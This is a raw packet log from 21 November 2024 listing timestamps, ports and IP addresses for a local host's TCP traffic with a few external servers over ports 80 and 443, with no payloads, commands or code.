Nov 21, 2024 22:04:53.108038902 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.108047009 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.114250898 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.114309072 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.114315033 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.125600100 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.125686884 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.125698090 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.126842976 CET	443	49869	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.127695084 CET	49869	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.127713919 CET	443	49869	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.128376961 CET	49869	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.128385067 CET	443	49869	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.133737087 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.133812904 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.133821964 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.145783901 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.146261930 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.146284103 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.159380913 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.159430981 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.159455061 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.160535097 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.160594940 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.160645008 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.160686970 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.163733959 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.163786888 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.163789988 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.163825989 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.170316935 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.170382023 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.170411110 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.170450926 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.172935009 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.172996998 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.173007011 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.177062035 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.177078009 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.177122116 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.181346893 CET	443	49871	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:53.181427002 CET	443	49871	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:53.181713104 CET	49871	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:53.182184935 CET	49871	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:53.182199955 CET	443	49871	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:53.183535099 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.183552980 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.183612108 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.186662912 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.186722994 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.186728954 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.189714909 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.189769983 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.189821959 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.189876080 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.195971012 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.196012020 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.196026087 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.196060896 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.199194908 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.199441910 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.199465990 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.202500105 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.202553034 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.202558994 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.202589035 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.208384037 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.208434105 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.208659887 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.208723068 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.211292982 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.211349964 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.211375952 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.214590073 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.214632034 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.214854002 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.214893103 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.220840931 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.220892906 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.220958948 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.221060991 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.222978115 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.223028898 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.223047972 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.227102041 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.227154016 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.227188110 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.227222919 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.233302116 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.233352900 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.233390093 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.233438015 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.234626055 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.234677076 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.234695911 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.239518881 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.239567995 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.239641905 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.239720106 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.245819092 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.245870113 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.245872021 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.245907068 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.246275902 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.246465921 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.246474028 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.251986027 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.252048016 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.252089024 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.252152920 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.258220911 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.258270025 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.258302927 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.258337975 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.264528990 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.264580011 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.264591932 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.264631987 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.270704031 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.270762920 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.270780087 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.270817041 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.271157980 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.271208048 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.271233082 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.273303032 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.273359060 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.273375988 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.276987076 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.277038097 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.277168989 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.277302027 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.283035040 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.283140898 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.298151970 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.298229933 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.298245907 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.298255920 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.298295975 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.300506115 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.303443909 CET	443	49864	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.303479910 CET	443	49864	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.303747892 CET	49864	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.303761005 CET	443	49864	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.303884983 CET	49864	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.303894997 CET	443	49864	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.303930998 CET	49864	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.304049015 CET	443	49864	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.304083109 CET	443	49864	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.304195881 CET	49864	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.304601908 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.304687023 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.304713011 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.308145046 CET	49877	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.308186054 CET	443	49877	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.308257103 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.308269024 CET	49877	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.308301926 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.308307886 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.308687925 CET	49877	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.308697939 CET	443	49877	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.313132048 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.313185930 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.313193083 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.325930119 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.325997114 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.326004982 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.328560114 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.328613997 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.328618050 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.335283995 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.335333109 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.335338116 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.342699051 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.342751026 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.342756987 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.352432966 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.352485895 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.352490902 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.352525949 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.352556944 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.352664948 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.352686882 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.355037928 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.355123043 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.355143070 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.355175972 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.357820988 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.357893944 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.357914925 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.360065937 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.360116005 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.360188007 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.360227108 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.365312099 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.365328074 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.365345955 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.365375042 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.365421057 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.365427971 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.370063066 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.370136023 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.370177984 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.370212078 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.372838974 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.372912884 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.372919083 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.374726057 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.374775887 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.374841928 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.374913931 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.379414082 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.379463911 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.379508018 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.379550934 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.380371094 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.380517960 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.380525112 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.383939981 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.384036064 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.384047985 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.384083033 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.388179064 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.388230085 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.388233900 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.388269901 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.388408899 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.388427019 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.388463020 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.392499924 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.392554045 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.392570019 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.392627001 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.396764994 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.396814108 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.396827936 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.396871090 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.398355961 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.398403883 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.398427010 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.400846958 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.400907993 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.400909901 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.400944948 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.404890060 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.404979944 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.404998064 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.405031919 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.408808947 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.408849955 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.408905983 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.408966064 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.410321951 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.410372972 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.410394907 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.413003922 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.413074970 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.413151979 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.413192034 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.416753054 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.416840076 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.416867018 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.416896105 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.420613050 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.420720100 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.420748949 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.420782089 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.421899080 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.422039032 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.422054052 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.424489021 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.424535990 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.428698063 CET	443	49867	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.428765059 CET	443	49867	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.428839922 CET	49867	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.429055929 CET	49867	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.429055929 CET	49867	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.429074049 CET	443	49867	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.429089069 CET	443	49867	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.434140921 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.434210062 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.434216976 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.435388088 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.435436010 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.435441971 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.439321041 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.439378977 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.439384937 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.447077990 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.447288990 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.447294950 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.448427916 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.448580027 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.448585033 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.470184088 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.470247984 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.470299959 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.470304012 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.470341921 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.471429110 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.474440098 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.474471092 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.474535942 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.474541903 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.474581957 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.476386070 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.476663113 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.476723909 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.482359886 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:53.482371092 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:53.492682934 CET	443	49868	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.492769003 CET	443	49868	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.492810011 CET	49868	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.503948927 CET	49878	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.503990889 CET	443	49878	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.504076958 CET	49878	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.504488945 CET	49868	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.504488945 CET	49868	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.504523039 CET	443	49868	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.504528999 CET	443	49868	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.509680986 CET	49878	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.509697914 CET	443	49878	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.513375044 CET	49879	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.513417006 CET	443	49879	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.513473988 CET	49879	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.514012098 CET	49879	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.514029026 CET	443	49879	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.550163031 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.550235033 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.550278902 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.550328016 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.550883055 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.550930977 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.551031113 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.551068068 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.553762913 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.553819895 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.553847075 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.553884029 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.556536913 CET	80	49819	185.215.113.206	192.168.2.7
